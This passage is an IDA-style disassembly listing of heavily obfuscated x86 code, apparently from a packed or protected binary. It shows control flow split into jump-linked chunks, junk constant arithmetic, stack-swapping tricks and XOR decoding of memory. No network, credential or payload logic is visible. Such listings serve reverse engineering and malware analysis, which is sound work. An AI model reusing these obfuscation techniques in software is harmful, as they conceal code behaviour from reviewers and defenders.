; FUNCTION CHUNK AT 0042AD9B SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	edi, [esp-4+arg_0]
		jmp	loc_42AD9B
sub_42809F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4280AB	proc near		; CODE XREF: sub_423FA0+8j
		add	esp, 0FFFFFFF8h
		mov	eax, 1
		push	offset sub_42FD11
		jmp	nullsub_197
sub_4280AB	endp

; ---------------------------------------------------------------------------


loc_4280BD:				; DATA XREF: sub_429B49-5B61o
		push	0
		mov	eax, [ebp-4]
		push	edi
		push	eax
		pop	edi
		call	sub_42809F
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_4280CA:				; CODE XREF: sub_42C16F+FF9j
		jmp	loc_42C62C
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4280CF:				; CODE XREF: sub_42AFFE:loc_42484Bj
		cmp	edx, edi
		jmp	loc_4236F4
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_4280D6:				; CODE XREF: sub_42D9E1+141Aj
		jo	loc_42CDD4
		push	ebx
		push	74429433h
		jmp	loc_429AFD
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------

locret_4280E7:				; CODE XREF: _7hdaygc1:0042F612j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_4280E8:				; CODE XREF: sub_42616B+2C9Bj
		jmp	loc_42C4ED
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425735


loc_4280ED:				; CODE XREF: sub_425735+18j
		jmp	loc_42BB14
; END OF FUNCTION CHUNK	FOR sub_425735
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_4280F2:				; CODE XREF: sub_4255F3+2j
					; sub_42D9E1:loc_427F5Aj
		call	sub_426F05


loc_4280F7:				; CODE XREF: sub_42F789+531j
		jmp	loc_42EA82
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------


loc_4280FC:				; CODE XREF: _7hdaygc1:loc_4236AEj
		pushf
		or	esi, 4D6CF6EFh
		jmp	loc_42656C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4254BE


loc_428108:				; CODE XREF: sub_4254BE:loc_42CA23j
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp-14h]
		call	sub_423DDB


loc_42811B:				; CODE XREF: sub_42F789-ACF7j
		jmp	loc_42B068
; END OF FUNCTION CHUNK	FOR sub_4254BE

; =============== S U B	R O U T	I N E =======================================



sub_428120	proc near		; CODE XREF: sub_426EBD+1C83p
					; _7hdaygc1:0042F723j

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	edx, [esp-4+arg_0]
		jmp	sub_42B32F
sub_428120	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42812C:				; CODE XREF: sub_423752:loc_42BA7Dj
		ja	loc_42F931
		jmp	loc_42F1B6
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_428137:				; CODE XREF: sub_4232DA+938Aj
		cmp	edi, 0B3C822ACh
		jmp	loc_42FC73
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_428142:				; CODE XREF: sub_42C26B-37E2j
		pop	esi
		rol	esi, 1Eh
		xor	esi, 7D9AB682h
		and	eax, esi
		pop	esi
		jmp	loc_423393
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42567E


loc_428154:				; CODE XREF: sub_42567E:loc_42DA52j
		ror	eax, 9
		jmp	loc_424946
; END OF FUNCTION CHUNK	FOR sub_42567E
; ---------------------------------------------------------------------------
		and	ebp, esi
		and	ebp, 84C982BAh
		jmp	sub_426064
; ---------------------------------------------------------------------------


loc_428169:				; CODE XREF: _7hdaygc1:004258E1j
		jz	loc_4281F2
; START	OF FUNCTION CHUNK FOR sub_423CCC


loc_42816F:				; CODE XREF: sub_423CCC+7435j
		jmp	loc_428F5D
; END OF FUNCTION CHUNK	FOR sub_423CCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_428174:				; CODE XREF: sub_42C16F-3C51j
		jmp	loc_4294F8
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DDA


loc_428179:				; CODE XREF: sub_427DDA+Dj
		jmp	loc_42F737
; END OF FUNCTION CHUNK	FOR sub_427DDA
; ---------------------------------------------------------------------------


loc_42817E:				; CODE XREF: _7hdaygc1:00425EF6j
		jmp	loc_425F10
; ---------------------------------------------------------------------------
		push	esi
		cmp	edi, ecx
		jmp	loc_42CF60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCFE


loc_42818B:				; CODE XREF: sub_42CCFE:loc_42D82Dj
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		jmp	loc_428F2B
; END OF FUNCTION CHUNK	FOR sub_42CCFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_42819F:				; CODE XREF: sub_4291EA:loc_42E3B1j
		popf
		xchg	edx, [esp+0]
		mov	eax, [ebp+var_8]
		push	edi
		jmp	loc_42F9BC
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------


loc_4281AC:				; CODE XREF: _7hdaygc1:0042E8F3j
		sbb	ebp, edx
; START	OF FUNCTION CHUNK FOR sub_4295F7


loc_4281AE:				; CODE XREF: _7hdaygc1:loc_426538j
					; sub_4295F7:loc_42E8DDj
		and	esi, 1084229Fh
		jnz	loc_42A112
; END OF FUNCTION CHUNK	FOR sub_4295F7
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4281BA:				; CODE XREF: sub_42AFFE+2500j
		jmp	loc_4241B8
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425B78


loc_4281BF:				; CODE XREF: sub_425B78+6FC6j
		jmp	loc_429F63
; END OF FUNCTION CHUNK	FOR sub_425B78
; ---------------------------------------------------------------------------
		jns	loc_42F6B5
		xchg	edi, eax
		jmp	loc_42A112
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4281D2:				; CODE XREF: _7hdaygc1:0042E87Dj
		sbb	edi, ebx
		pop	esi
		jmp	sub_42E0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_4281DA:				; CODE XREF: sub_42DAD9:loc_426996j
		pop	eax
		and	eax, 0B9C5D3F7h
		cmp	eax, 9E50DE7Ch
		jmp	loc_42BA4F
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; ---------------------------------------------------------------------------


loc_4281EC:				; CODE XREF: _7hdaygc1:0042CF6Aj
		jnp	loc_428F4D


loc_4281F2:				; CODE XREF: _7hdaygc1:loc_428169j
		xor	eax, ds:4000F6h
		and	eax, 96BF2EF2h
		push	offset sub_423E31
		jmp	locret_429339
; ---------------------------------------------------------------------------


loc_428208:				; DATA XREF: sub_42F8F6:loc_42F220o
		push	edx
		mov	edx, ebp
		xchg	edx, [esp]
		mov	ebp, esp
		call	sub_42C67D
; START	OF FUNCTION CHUNK FOR sub_424359


loc_428215:				; CODE XREF: sub_424359+2AA5j
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_424359

; =============== S U B	R O U T	I N E =======================================



sub_42821A	proc near		; CODE XREF: sub_42FD11-AB4Dp
					; _7hdaygc1:0042F2DAj

; FUNCTION CHUNK AT 00423056 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00423804 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E1AD SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_42616B
		test	eax, eax
		jz	loc_42E49F
		jmp	loc_423804
sub_42821A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_428230:				; CODE XREF: sub_42B907-12A1j
		adc	eax, ecx
		adc	ebp, edi
		sbb	eax, 0F2B466C3h
		push	ebx
		jmp	loc_42395F
; END OF FUNCTION CHUNK	FOR sub_42B907
; ---------------------------------------------------------------------------

locret_428240:				; CODE XREF: _7hdaygc1:0042C7CFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42512A


loc_428241:				; CODE XREF: sub_42512A+3277j
		pop	esi
		and	ecx, 0F2211B1Dh
		sub	ecx, 0E8075E6Ch
		add	ecx, 72D906D9h
		cmp	ecx, 53C42F12h
		jmp	loc_42744B
; END OF FUNCTION CHUNK	FOR sub_42512A
; ---------------------------------------------------------------------------


loc_42825F:				; CODE XREF: _7hdaygc1:loc_42F991j
		jz	loc_425C6D
		jmp	loc_42E550

; =============== S U B	R O U T	I N E =======================================



sub_42826A	proc near		; CODE XREF: sub_424CE0+528Ej
					; sub_42CC45+1E1Bp

; FUNCTION CHUNK AT 00429697 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042CDE4 SIZE 00000003 BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	dword ptr [ebp-0Ch], 0
		call	sub_42F789


loc_428277:				; CODE XREF: sub_42F436-952Bj
		jmp	loc_429697
sub_42826A	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_165. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_42827D:				; CODE XREF: sub_42A4F1-4A29j
					; _7hdaygc1:0042A211j
		rol	eax, 8
		push	eax
		call	sub_42B650
		retn
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_428287:				; CODE XREF: sub_42911B+16D7j
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_42911B

; =============== S U B	R O U T	I N E =======================================



sub_42828C	proc near		; CODE XREF: sub_42AA07:loc_4231F5j
					; sub_425459:loc_42363Dj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00429C0E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BBD9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E98D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		jmp	loc_429C0E
sub_42828C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AD16


loc_428298:				; CODE XREF: sub_42AD16+10B3j
		jmp	loc_4299A3
; END OF FUNCTION CHUNK	FOR sub_42AD16
; ---------------------------------------------------------------------------


loc_42829D:				; CODE XREF: _7hdaygc1:0042D9C0j
		jnz	loc_42F23F
		jmp	loc_42CC9C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4282A9	proc near		; CODE XREF: sub_423FA0:loc_42EF1Aj

; FUNCTION CHUNK AT 00423234 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423AA2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00424AFB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00428FBD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B54E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042D220 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FACE SIZE 0000000E BYTES

		add	esp, 0FFFFFFF8h
		push	80193D74h
		pop	eax
		rol	eax, 1Eh
		test	eax, 1
		jmp	loc_42D220
sub_4282A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AA8


loc_4282C0:				; CODE XREF: sub_424AA8+64C6j
		jz	loc_42879C
		jmp	loc_426BDF
; END OF FUNCTION CHUNK	FOR sub_424AA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_4282CB:				; CODE XREF: sub_42B74A+Fj
		pop	eax
		or	eax, 66C59FD4h
		and	eax, 221C0970h
		or	eax, 0AF07FF34h
		xor	eax, 0A6DC91FDh
		add	eax, ebp
		add	eax, 0F63C9173h
		mov	eax, [eax]
		jmp	loc_4246AB
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425D65


loc_4282F3:				; CODE XREF: sub_425D65:loc_42D8BBj
					; sub_42E7F5j
		xor	eax, eax
		mov	[ebp-8], eax
		jmp	loc_4271D2
; END OF FUNCTION CHUNK	FOR sub_425D65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_4282FD:				; CODE XREF: sub_423648+5A73j
		test	byte ptr [ebp-8], 8
		jz	loc_42FA7C
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_42E52F
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------


loc_428310:				; CODE XREF: _7hdaygc1:loc_42C22Ej
		jl	loc_4259DA
		jl	loc_42AEC3
		jmp	loc_4252C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_428321:				; CODE XREF: sub_42D84A:loc_42E418j
		jz	loc_42C8B6
		jmp	loc_42A671
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------
		xchg	edi, [ecx]
		jmp	sub_42BDCF
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 15h


loc_428337:				; CODE XREF: _7hdaygc1:loc_425F1Bj
		mov	ds:dword_42B9AC, eax
		jmp	locret_42998E

; =============== S U B	R O U T	I N E =======================================



sub_428342	proc near		; CODE XREF: sub_42E29Bj

; FUNCTION CHUNK AT 0042A9C3 SIZE 00000005 BYTES

		push	ebp
		push	offset loc_427047
		jmp	loc_42A9C3
sub_428342	endp

; ---------------------------------------------------------------------------


loc_42834D:				; CODE XREF: _7hdaygc1:0042B3DCj
		xor	eax, 0B7B5DA6h
		jnp	loc_426797
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_428359:				; CODE XREF: sub_424AE1:loc_42B3CFj
		or	ecx, 0AC73A25Ch
		add	ecx, 2CF15BAh
		mov	[ecx], eax
		push	offset loc_42C8E0
		jmp	loc_429867
; END OF FUNCTION CHUNK	FOR sub_424AE1

; =============== S U B	R O U T	I N E =======================================



sub_428371	proc near		; CODE XREF: sub_427E1C+1p
					; _7hdaygc1:0042E643j ...
		xchg	eax, [esp+0]
		pop	eax
		ror	eax, 4
		mov	ds:dword_425158, eax
		retn
sub_428371	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42837F	proc near		; CODE XREF: sub_42B32Fj

; FUNCTION CHUNK AT 004262D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00426AE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E9BC SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42E9BC
sub_42837F	endp

; ---------------------------------------------------------------------------
		db 4Fh
dword_428388	dd 0							; sub_4270E6:loc_424593o
		dd 54F79355h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42512A


loc_428391:				; CODE XREF: sub_42512A:loc_4235A3j
		call	sub_428E56
		push	ecx
		push	0E8620525h
		xchg	esi, [esp+0]
		mov	ecx, esi
		jmp	loc_428241
; END OF FUNCTION CHUNK	FOR sub_42512A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_4283A6:				; CODE XREF: sub_42C16F:loc_42A0D6j
		jnz	loc_427DA5
		add	ebx, 55AEF167h
		shr	edx, 0Fh
		jmp	loc_427DA3
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D30E


loc_4283BA:				; CODE XREF: sub_42D30E:loc_42CA1Ej
		or	eax, 0F9293688h
		and	eax, 0C67AD474h
		sub	eax, 3C2BA3Dh
		xor	eax, 397B0140h
		add	eax, ebp
		push	edi
		jmp	loc_42EAB0
; END OF FUNCTION CHUNK	FOR sub_42D30E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429532


loc_4283DA:				; CODE XREF: sub_429532-2CB6j
		jz	loc_4236DB
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0EBh
		jz	loc_4236DB
		mov	eax, [ebp-4]
		call	sub_425182
; END OF FUNCTION CHUNK	FOR sub_429532
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4283F4:				; CODE XREF: sub_423172:loc_427450j
		jz	loc_424C8D
		jmp	loc_42CAD7
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_4283FF:				; CODE XREF: sub_42D002:loc_42EF0Bj
		call	sub_42A4C2
; END OF FUNCTION CHUNK	FOR sub_42D002
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_428404:				; CODE XREF: sub_42C16F-5104j
		jmp	loc_42DDB5
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_428409:				; CODE XREF: sub_4291EA-5F6Aj
		jmp	loc_42A0AF
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42840E:				; CODE XREF: sub_423648-11j
		jz	loc_4290B7
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42E254
		jmp	loc_423BDA
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_428422:				; CODE XREF: sub_425C3B+8ADCj
		xor	eax, 159C8805h
		add	eax, ebp
		call	sub_423DFC


loc_42842F:				; CODE XREF: sub_42EA6A:loc_42A62Bj
		pushf
		cmp	eax, 0F2C8A678h
		jmp	loc_429C13
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42581B


loc_42843B:				; CODE XREF: sub_42581B:loc_4262B9j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al
		call	sub_42A3F7


loc_42844D:				; CODE XREF: sub_42581B:loc_42860Ej
		call	sub_424680


loc_428452:				; CODE XREF: sub_42CA28+18j
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_42581B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428458:				; CODE XREF: _7hdaygc1:loc_42D4ABj
		add	ebx, edx
		xor	ebp, 289C24Bh
		jmp	sub_42AB0F
; ---------------------------------------------------------------------------


loc_428465:				; CODE XREF: _7hdaygc1:00429708j
		mov	esi, edi
		adc	edi, edx
		pop	ecx
		jmp	loc_427DF7
; ---------------------------------------------------------------------------


loc_42846F:				; CODE XREF: _7hdaygc1:loc_42907Bj
					; DATA XREF: sub_424B63+450Eo
		push	edx
		call	sub_428818
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_428475:				; CODE XREF: sub_42C209+3B03j
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42847A:				; CODE XREF: sub_42EBD6-1936j
		jmp	loc_423464
; END OF FUNCTION CHUNK	FOR sub_42EBD6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_428480:				; CODE XREF: sub_423DDB+B424j
		jmp	loc_426654
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------


loc_428485:				; CODE XREF: _7hdaygc1:0042502Dj
		shr	eax, 5
		xor	[ebp-4], eax
		inc	dword ptr [ebp-8]
		push	offset loc_42C0EE
		jmp	locret_42546C

; =============== S U B	R O U T	I N E =======================================



sub_428498	proc near		; CODE XREF: _7hdaygc1:0042B796p
					; _7hdaygc1:0042EEECj

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00426C40 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429FE0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042A28D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042BA3B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042BD62 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CF41 SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		xor	edi, 2E187723h
		add	edi, ebp
		add	edi, 35D2A8ACh
		mov	edi, [edi]
		cmp	eax, edi
		pop	edi
		jmp	loc_42CF41
sub_428498	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4284B4:				; CODE XREF: _7hdaygc1:0042B2E7j
		cmp	ebx, esi
		jmp	loc_42F7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_4284BB:				; CODE XREF: sub_42450E+1BFCj
		jp	loc_425EBF
		add	ebx, eax
		jmp	loc_4250B8
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42653E


loc_4284C8:				; CODE XREF: sub_42653E+6j
		add	eax, [ebp-4]
		call	sub_42E347
; END OF FUNCTION CHUNK	FOR sub_42653E
; START	OF FUNCTION CHUNK FOR sub_4237DA


loc_4284D0:				; CODE XREF: sub_4237DA:loc_42D815j
		pop	esi
		add	esi, 0F321BF28h
		jnz	loc_42DB94


loc_4284DD:				; CODE XREF: _7hdaygc1:00426F32j
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_4237DA
; ---------------------------------------------------------------------------
		xor	ecx, 8E9A2765h
		jno	loc_429949
		jmp	loc_42DB91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED4E


loc_4284F3:				; CODE XREF: sub_42ED4E-7F5Ej
		xor	[esi], edx
		push	30A6C5C8h
		pop	eax
		xor	eax, 40A4E292h
		add	eax, 0FFDD8AAh
		jmp	loc_42B22F
; END OF FUNCTION CHUNK	FOR sub_42ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42850C:				; CODE XREF: sub_42C16F-76EFj
		push	9001F8B3h
		pop	eax
		sub	eax, 9DE5F076h
		and	eax, 7179FFF2h
		jmp	loc_428174
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		adc	edi, ebx
		jmp	sub_4254BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429C1F


loc_42852A:				; CODE XREF: sub_429C1F:loc_42A177j
		mov	esi, edi
		xchg	esi, [esp+4+var_4]
		push	ebx


loc_428530:				; CODE XREF: _7hdaygc1:004256F4j
					; sub_426CBB+7A26j
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_42D54F
; END OF FUNCTION CHUNK	FOR sub_429C1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B9E1


loc_42853B:				; CODE XREF: sub_42B9E1:loc_42F5A7j
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_42B9EA
		retn
; END OF FUNCTION CHUNK	FOR sub_42B9E1
; ---------------------------------------------------------------------------


loc_42854A:				; CODE XREF: _7hdaygc1:0042A329j
		jmp	loc_426CF8
; ---------------------------------------------------------------------------
		xor	edi, eax
		jmp	sub_42AE0B

; =============== S U B	R O U T	I N E =======================================



sub_428556	proc near		; CODE XREF: sub_42EBD6-B92Cp
					; _7hdaygc1:0042B92Cj
		xchg	edx, [esp+0]
		pop	edx
		xor	[esi], edx
		mov	eax, 80000000h
		push	offset loc_427137
		jmp	nullsub_156
sub_428556	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E7E


loc_42856C:				; CODE XREF: sub_424E7E+712Aj
		jmp	loc_4295B9
; END OF FUNCTION CHUNK	FOR sub_424E7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_428571:				; CODE XREF: sub_423172+7E35j
		jmp	loc_4265A0
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_428576:				; CODE XREF: sub_425A37+AB2j
		jmp	loc_426031
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42857B:				; CODE XREF: sub_42F65A-AD59j
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EE8A


loc_428580:				; CODE XREF: sub_42EE8A-837Dj
		xor	ecx, 41F5D113h
		add	eax, ecx
		pop	ecx
		call	sub_4287D8
; END OF FUNCTION CHUNK	FOR sub_42EE8A
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_42858E:				; CODE XREF: sub_424B63+1B5Aj
		jmp	loc_42EADC
; END OF FUNCTION CHUNK	FOR sub_424B63

; =============== S U B	R O U T	I N E =======================================



sub_428593	proc near		; DATA XREF: sub_424AE1-157Co
		add	eax, 0A1F1104Eh
		popf
		push	eax
sub_428593	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42859B:				; CODE XREF: sub_424AE1+1B9Aj
		push	0BC7F8888h
		pop	eax
		or	eax, 5CA67D96h
		jmp	loc_42BB9A
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_4285AC:				; CODE XREF: _7hdaygc1:004254B9j
		cmp	edx, edi
		jmp	loc_42BE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB61


loc_4285B3:				; CODE XREF: sub_42BB61+8j
		and	edx, 8DC63D52h
		add	edx, 6F5263C5h
		xor	edx, 7BFAF05Ch
		add	edx, 6B9A0D80h
		popf
		jmp	loc_42F996
; END OF FUNCTION CHUNK	FOR sub_42BB61
; ---------------------------------------------------------------------------


loc_4285D1:				; CODE XREF: _7hdaygc1:0042D268j
		push	offset sub_429BD4


loc_4285D6:				; CODE XREF: _7hdaygc1:loc_42F7E0j
		jmp	locret_4238DC
; ---------------------------------------------------------------------------
		jbe	loc_429BCF
		jmp	sub_42B462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_4285E6:				; CODE XREF: sub_42FD11-10C0j
		and	eax, 2A63D726h
		sub	eax, 0BDCDF293h
		rol	eax, 15h
		xor	eax, 70E7A48Ch
		add	eax, ebp
		add	eax, 1350902h
		jmp	loc_425E5F
; END OF FUNCTION CHUNK	FOR sub_42FD11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426BF7


loc_428609:				; CODE XREF: sub_426BF7+Aj
		jmp	loc_42731D
; END OF FUNCTION CHUNK	FOR sub_426BF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42581B


loc_42860E:				; CODE XREF: sub_42581B-1002j
		jmp	loc_42844D
; END OF FUNCTION CHUNK	FOR sub_42581B

; =============== S U B	R O U T	I N E =======================================



sub_428613	proc near		; CODE XREF: sub_42B907-2557p
					; _7hdaygc1:0042DD8Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423864 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427F4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C12E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042D1E2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042FBBB SIZE 00000006 BYTES

		xchg	eax, [esp-4+arg_0]
		pop	eax
		push	ebx
		pushf
		jmp	loc_42C12E
sub_428613	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42861E:				; CODE XREF: _7hdaygc1:00423C20j
		not	edi


loc_428620:				; CODE XREF: _7hdaygc1:loc_42F5F8j
		push	edi
		push	0E99BA0FCh
		pop	edi
		jmp	loc_428EE6

